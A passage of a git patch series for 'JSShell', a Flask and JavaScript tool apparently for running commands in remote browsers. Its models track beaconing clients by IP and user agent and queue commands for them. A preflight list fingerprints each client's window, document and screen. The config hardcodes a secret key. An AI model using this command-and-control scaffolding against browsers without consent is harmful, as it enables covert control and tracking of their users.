From bb65f85126de2ee5760e00a5edb271a735d3f84b Mon Sep 17 00:00:00 2001 From: Den1al Date: Sun, 5 Mar 2017 23:40:59 +0200 Subject: [PATCH 01/31] Initial commit --- .gitignore | 89 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ LICENSE | 21 +++++++++++++ 2 files changed, 110 insertions(+) create mode 100644 .gitignore create mode 100644 LICENSE diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..72364f9 --- /dev/null +++ b/.gitignore @@ -0,0 +1,89 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +env/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +.installed.cfg +*.egg + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*,cover +.hypothesis/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# IPython Notebook +.ipynb_checkpoints + +# pyenv +.python-version + +# celery beat schedule file +celerybeat-schedule + +# dotenv +.env + +# virtualenv +venv/ +ENV/ + +# Spyder project settings +.spyderproject + +# Rope project settings +.ropeproject diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..e63cb86 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2017 Den1al + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. From 1f76f3582ebf17d4549c4258e13680a870e3c435 Mon Sep 17 00:00:00 2001 From: Den1al Date: Sun, 5 Mar 2017 23:41:16 +0200 Subject: [PATCH 02/31] Create README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 README.md diff --git a/README.md b/README.md new file mode 100644 index 0000000..88514c6 --- /dev/null +++ b/README.md @@ -0,0 +1,2 @@ +# JSShell +An interactive multi-user web based shell From 4746f075c4e9b153999da9fb989851bd3f0b09f8 Mon Sep 17 00:00:00 2001 From: dabeles Date: Sun, 5 Mar 2017 23:43:05 +0200 Subject: [PATCH 03/31] added lala.html --- lala.html | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 lala.html diff --git a/lala.html b/lala.html new file mode 100644 index 0000000..e69de29 From 931159063aff9692b0b44e3d860fcff2cbcd91f0 Mon Sep 17 00:00:00 2001 From: dabeles Date: Mon, 6 Mar 2017 00:02:28 +0200 Subject: [PATCH 04/31] deleted: lala.html --- lala.html | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 lala.html diff --git a/lala.html b/lala.html deleted file mode 100644 index e69de29..0000000 From 683017f68fa5ff320b5532d2a32fca6b609e9a36 Mon Sep 17 00:00:00 2001 From: dabeles Date: Mon, 6 Mar 2017 00:04:44 +0200 Subject: [PATCH 05/31] Deleted test. --- lala.html | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 lala.html diff --git a/lala.html b/lala.html deleted file mode 100644 index e69de29..0000000 From 9ec2b40b40813b3c9ab30ab411b67f1f47156b88 Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 00:09:15 +0200 Subject: [PATCH 06/31] Set theme jekyll-theme-slate --- README.md | 39 +++++++++++++++++++++++++++++++++++++-- _config.yml | 1 + 2 files changed, 38 insertions(+), 2 deletions(-) create mode 100644 _config.yml diff --git a/README.md b/README.md index 88514c6..aa12c71 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,37 @@ -# JSShell -An interactive multi-user web based shell +## Welcome to GitHub Pages + +You can use the [editor on GitHub](https://github.com/Den1al/JSShell/edit/master/README.md) to maintain and preview the content for your website in Markdown files. + +Whenever you commit to this repository, GitHub Pages will run [Jekyll](https://jekyllrb.com/) to rebuild the pages in your site, from the content in your Markdown files. + +### Markdown + +Markdown is a lightweight and easy-to-use syntax for styling your writing. It includes conventions for + +```markdown +Syntax highlighted code block + +# Header 1 +## Header 2 +### Header 3 + +- Bulleted +- List + +1. Numbered +2. List + +**Bold** and _Italic_ and `Code` text + +[Link](url) and ![Image](src) +``` + +For more details see [GitHub Flavored Markdown](https://guides.github.com/features/mastering-markdown/). + +### Jekyll Themes + +Your Pages site will use the layout and styles from the Jekyll theme you have selected in your [repository settings](https://github.com/Den1al/JSShell/settings). The name of this theme is saved in the Jekyll `_config.yml` configuration file. + +### Support or Contact + +Having trouble with Pages? Check out our [documentation](https://help.github.com/categories/github-pages-basics/) or [contact support](https://github.com/contact) and we’ll help you sort it out. diff --git a/_config.yml b/_config.yml new file mode 100644 index 0000000..c741881 --- /dev/null +++ b/_config.yml @@ -0,0 +1 @@ +theme: jekyll-theme-slate \ No newline at end of file From ff2cb0de6daea76f6b5934d2bd0439210d5057dd Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 00:10:27 +0200 Subject: [PATCH 07/31] Update README.md --- README.md | 39 ++------------------------------------- 1 file changed, 2 insertions(+), 37 deletions(-) diff --git a/README.md b/README.md index aa12c71..88514c6 100644 --- a/README.md +++ b/README.md @@ -1,37 +1,2 @@ -## Welcome to GitHub Pages - -You can use the [editor on GitHub](https://github.com/Den1al/JSShell/edit/master/README.md) to maintain and preview the content for your website in Markdown files. - -Whenever you commit to this repository, GitHub Pages will run [Jekyll](https://jekyllrb.com/) to rebuild the pages in your site, from the content in your Markdown files. - -### Markdown - -Markdown is a lightweight and easy-to-use syntax for styling your writing. It includes conventions for - -```markdown -Syntax highlighted code block - -# Header 1 -## Header 2 -### Header 3 - -- Bulleted -- List - -1. Numbered -2. List - -**Bold** and _Italic_ and `Code` text - -[Link](url) and ![Image](src) -``` - -For more details see [GitHub Flavored Markdown](https://guides.github.com/features/mastering-markdown/). - -### Jekyll Themes - -Your Pages site will use the layout and styles from the Jekyll theme you have selected in your [repository settings](https://github.com/Den1al/JSShell/settings). The name of this theme is saved in the Jekyll `_config.yml` configuration file. - -### Support or Contact - -Having trouble with Pages? Check out our [documentation](https://help.github.com/categories/github-pages-basics/) or [contact support](https://github.com/contact) and we’ll help you sort it out. +# JSShell +An interactive multi-user web based shell From 0bc8e45c77edae28c809cefb57fd5f4c7c1340a3 Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 00:11:14 +0200 Subject: [PATCH 08/31] Delete _config.yml --- _config.yml | 1 - 1 file changed, 1 deletion(-) delete mode 100644 _config.yml diff --git a/_config.yml b/_config.yml deleted file mode 100644 index c741881..0000000 --- a/_config.yml +++ /dev/null @@ -1 +0,0 @@ -theme: jekyll-theme-slate \ No newline at end of file From 5ea413d67e89fea381539f8bae9ca344efd228a1 Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 00:14:08 +0200 Subject: [PATCH 09/31] Update README.md --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 88514c6..c51a378 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,5 @@ # JSShell -An interactive multi-user web based shell +An interactive multi-user web based shell written in Python with Flask (server side) and of course Javascript and HTML (client side). + + + From 0a93be04335a08a41439aecca7216df0d988d0ba Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 00:16:14 +0200 Subject: [PATCH 10/31] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index c51a378..f7a1027 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,5 @@ -# JSShell +JSShell +======= An interactive multi-user web based shell written in Python with Flask (server side) and of course Javascript and HTML (client side). From 517ace956200a41eacb033bacc1f568b49f2ca78 Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 00:17:41 +0200 Subject: [PATCH 11/31] Update README.md --- README.md | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index f7a1027..1828078 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,19 @@ JSShell ======= -An interactive multi-user web based shell written in Python with Flask (server side) and of course Javascript and HTML (client side). +An interactive multi-user web based shell written in Python with Flask (for server side) and of course Javascript and HTML (client side). +Author +------ +Daniel Abeles. +Installation +----------- +TODO +Features +-------- +TODO + +Running +------- +TODO From eb8223147aba6de5544e4aa882f9009d3c3d7dd8 Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 00:18:24 +0200 Subject: [PATCH 12/31] Update README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 1828078..1eb6d48 100644 --- a/README.md +++ b/README.md @@ -17,3 +17,7 @@ TODO Running ------- TODO + +Credits +------- +TODO From ffc33b9f042905a3f8245d8146234054c910ac36 Mon Sep 17 00:00:00 2001 From: dabeles Date: Mon, 6 Mar 2017 08:54:34 +0200 Subject: [PATCH 13/31] Purged project files into git --- app/__init__.py | 11 ++ app/application.db | Bin 0 -> 77824 bytes app/config.py | 22 ++++ app/models.py | 94 +++++++++++++++++ app/preflight_scripts.py | 7 ++ app/static/js/jquery.min.js | 4 + app/static/js/prune.js | 161 +++++++++++++++++++++++++++++ app/templates/index.html | 144 ++++++++++++++++++++++++++ app/views.py | 69 +++++++++++++ db_handler.py | 110 ++++++++++++++++++++ interact.py | 127 +++++++++++++++++++++++ requirements.txt | 15 +++ run.py | 16 +++ shell.py | 199 ++++++++++++++++++++++++++++++++++++ 14 files changed, 979 insertions(+) create mode 100644 app/__init__.py create mode 100644 app/application.db create mode 100644 app/config.py create mode 100644 app/models.py create mode 100644 app/preflight_scripts.py create mode 100644 app/static/js/jquery.min.js create mode 100644 app/static/js/prune.js create mode 100644 app/templates/index.html create mode 100644 app/views.py create mode 100644 db_handler.py create mode 100644 interact.py create mode 100644 requirements.txt create mode 100644 run.py create mode 100644 shell.py diff --git a/app/__init__.py b/app/__init__.py new file mode 100644 index 0000000..e774de3 --- /dev/null +++ b/app/__init__.py @@ -0,0 +1,11 @@ +from flask import Flask +from flask_sqlalchemy import SQLAlchemy + + +app = Flask(__name__) + +app.config.from_object('app.config.DevelopmentConfig') + +db = SQLAlchemy(app) + +from app import views, models diff --git a/app/application.db b/app/application.db new file mode 100644 index 0000000000000000000000000000000000000000..2e18c02a28d6e0acd3792508c84f98a2af6486e2 GIT binary patch literal 77824 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 F{|C*P6NCT& literal 0 HcmV?d00001 diff --git a/app/config.py b/app/config.py new file mode 100644 index 0000000..fdb266f --- /dev/null +++ b/app/config.py @@ -0,0 +1,22 @@ + +class Config(object): + """ + Configuration base, for all environments. + """ + DEBUG = False + TESTING = False + DATABASE_URI = 'sqlite:///application.db' + BOOTSTRAP_FONTAWESOME = True + SECRET_KEY = "LKHSDNIOUTY&*(^87bv6*&BGSUYDS" + CSRF_ENABLED = True + SQLALCHEMY_TRACK_MODIFICATIONS = True + +class ProductionConfig(Config): + DATABASE_URI = 'mysql://user@localhost/foo' + +class DevelopmentConfig(Config): + DEBUG = True + SQLALCHEMY_DATABASE_URI = 'sqlite:///application.db' + +class TestingConfig(Config): + TESTING = True \ No newline at end of file diff --git a/app/models.py b/app/models.py new file mode 100644 index 0000000..57c38d8 --- /dev/null +++ b/app/models.py @@ -0,0 +1,94 @@ +from app import db +import datetime + + +def _get_date(): + return datetime.datetime.now() + + +class Client(db.Model): + __tablename__ = 'client' + id = db.Column(db.Integer, primary_key = True) + client_id = db.Column(db.String(36), unique = True) + user_agent = db.Column(db.String(1024)) + ip = db.Column(db.String(15)) + last_beaconed = db.Column(db.DateTime(), default=_get_date) + commands = db.relationship('Command', back_populates="client") + + def get_printable(self): + for cmd in self.commands: + if cmd.is_returned and not cmd.is_printed: + return cmd + + def update_beacon(self): + self.last_beaconed = _get_date() + + + def add_command(self, cmd): + c = Command(cmd) + self.commands.append(c) + db.session.add(c) + + def add_commands(self, cmds): + for cmd in cmds: + self.add_command(cmd) + + def __init__(self, uuid, user_agent, ip): + self.client_id = uuid + self.user_agent = user_agent + self.ip = ip + + def __repr__(self): + + c = '' + for com in self.commands: + c += repr(com).lstrip() + + s = ''' + + {} + {} + {} + {} + + {} + + +'''.format(self.id, self.client_id, self.user_agent, self.ip, c.rstrip() or 'no commands') + + return s[1:-1] + + + +class Command(db.Model): + __tablename__ = 'command' + id = db.Column(db.Integer, primary_key=True) + cmd = db.Column(db.String(1024)) + output = db.Column(db.String(1024)) + created_on = db.Column(db.DateTime(), default=_get_date) + is_served = db.Column(db.Boolean, default=0) + is_returned = db.Column(db.Boolean, default=0) + is_printed = db.Column(db.Boolean, default=0) + rel_client_id = db.Column(db.Integer, db.ForeignKey('client.id')) + client = db.relationship("Client", back_populates="commands") + + def __init__(self, cmd, output = ''): + self.cmd = cmd + self.output = output + + def __repr__(self): + return ''' + + {} + {} + {} + {} + {} + {} + {} + {} + + '''.format(self.id, self.cmd, self.output, self.created_on, self.is_served, self.is_returned, self.is_printed, self.rel_client_id)[1:-1] + + + diff --git a/app/preflight_scripts.py b/app/preflight_scripts.py new file mode 100644 index 0000000..7576fd7 --- /dev/null +++ b/app/preflight_scripts.py @@ -0,0 +1,7 @@ + +pf_scripts = [ + "window", + "window.document", + "var l = {\"availHeight\" : window.screen.availHeight,\"availLeft\" : window.screen.availLeft,\"availTop\" : window.screen.availTop, \"availWidth\" : window.screen.availWidth, \"colorDepth\": window.screen.colorDepth, \"height\" : window.screen.height, \"orientation\" : window.screen.orientation, \"ScreenOrientation\" : window.screen.ScreenOrientation, \"pixelDepth\" : window.screen.pixelDepth, \"width\" : window.screen.width};l", + "var l = [];for(var i=0;i=0&&c0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new 